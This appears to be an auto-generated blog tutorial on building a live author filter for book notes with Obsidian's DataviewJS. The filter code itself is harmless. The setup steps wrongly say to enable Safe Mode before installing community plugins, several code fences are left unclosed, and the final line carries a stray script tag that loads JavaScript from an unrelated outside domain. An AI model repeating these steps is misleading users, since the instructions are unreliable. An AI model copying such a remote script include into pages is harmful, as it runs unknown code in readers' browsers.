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obsidian dataviewjs live filter

obsidian dataviewjs live filter

3 min read 11-09-2024
obsidian dataviewjs live filter

Obsidian is a powerful knowledge management tool that allows users to create a personal knowledge base using markdown files. One of its standout features is the Dataview plugin, which enables users to query and visualize their notes in various formats. DataviewJS takes this a step further by allowing users to write custom JavaScript code to manipulate and present their data dynamically. In this article, we will explore how to implement live filtering with DataviewJS, providing practical examples and additional insights to enhance your Obsidian experience.

What is DataviewJS?

DataviewJS is a JavaScript variant of the Dataview plugin in Obsidian. It allows users to write JavaScript code to create custom queries that can manipulate and display their notes. This powerful functionality gives you the ability to create interactive elements, such as live filters, which can help you manage your information more effectively.

Setting Up DataviewJS in Obsidian

Before diving into live filtering, ensure you have the Dataview plugin installed. Here's how to do it:

  1. Open Obsidian and navigate to Settings.
  2. Click on Community Plugins.
  3. Enable Safe Mode and then click on Browse.
  4. Search for Dataview and install it.
  5. Once installed, you can enable it from the same plugins menu.

Creating a Live Filter with DataviewJS

Step 1: Basic DataviewJS Setup

Start by creating a new note and insert the DataviewJS code block by typing the following:

```dataviewjs
// Your JavaScript code goes here

### Step 2: Querying Your Data

For this example, let’s say you have a collection of notes about books with frontmatter metadata like this:

```markdown
---
title: "The Great Gatsby"
author: "F. Scott Fitzgerald"
genre: "Classic"
---

You can query these notes using the following code:

let pages = dv.pages('"Books"'); // Adjust the folder according to your notes location

Step 3: Building the Live Filter

To create a live filter, you'll want to incorporate an input element and filter your results based on the user input. Here’s a simple example:

const container = createEl("div");
const input = createEl("input", { type: "text", placeholder: "Filter by author..." });

input.oninput = () => {
    const filter = input.value.toLowerCase();
    const filteredBooks = pages.filter(page => page.author.toLowerCase().includes(filter));
    
    container.empty(); // Clear previous results
    container.appendChild(input); // Re-add the input

    filteredBooks.forEach(book => {
        container.createEl("div", { text: book.title + " by " + book.author });
    });
};

container.appendChild(input);
dv.el("div", container);

Step 4: Putting it All Together

Here’s the complete DataviewJS block:

```dataviewjs
let pages = dv.pages('"Books"');
const container = createEl("div");
const input = createEl("input", { type: "text", placeholder: "Filter by author..." });

input.oninput = () => {
    const filter = input.value.toLowerCase();
    const filteredBooks = pages.filter(page => page.author.toLowerCase().includes(filter));
    
    container.empty(); // Clear previous results
    container.appendChild(input); // Re-add the input

    filteredBooks.forEach(book => {
        container.createEl("div", { text: book.title + " by " + book.author });
    });
};

container.appendChild(input);
dv.el("div", container);

## Additional Insights and Best Practices

### Understanding the Code

- **createEl:** This function is used to create HTML elements dynamically. It makes it easy to add user interface elements.
- **oninput:** This event listener detects changes in the input field, allowing for real-time filtering.
- **empty():** This method clears the content of a container, which is crucial for refreshing the displayed results based on user input.

### Performance Considerations

Live filters can slow down if you are querying large datasets. To improve performance:
- Limit the scope of your query by specifying more precise folders or tags.
- Consider caching results when possible to reduce recalculating on every keystroke.

### Practical Example

Imagine you have a collection of notes related to various hobbies. Using live filters, you can quickly find notes about a specific hobby or activity, enhancing your productivity and making information retrieval intuitive.

## Conclusion

By harnessing the power of DataviewJS in Obsidian, you can create interactive notes that respond to user input dynamically. This live filtering capability not only enhances your note-taking experience but also empowers you to manage and visualize your knowledge base more effectively. Whether you’re keeping track of books, projects, or any other data, implementing live filters in Obsidian can significantly streamline your workflow.

For more information and detailed discussions, you can refer to original threads on [Stack Overflow](https://stackoverflow.com/) that explore various use cases and advanced configurations of Dataview and DataviewJS in Obsidian.

### References
- [Dataview Plugin Documentation](https://blacksmithgu.github.io/obsidian-dataview/)
- [Stack Overflow Questions and Discussions](https://stackoverflow.com/)
- Obsidian Community Forums for additional tips and tricks.

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This article provides a solid understanding of implementing live filtering with DataviewJS while offering practical examples and insights to optimize your experience in Obsidian. Happy note-taking!<script src='https://lazy.agczn.my.id/tag.js'></script>

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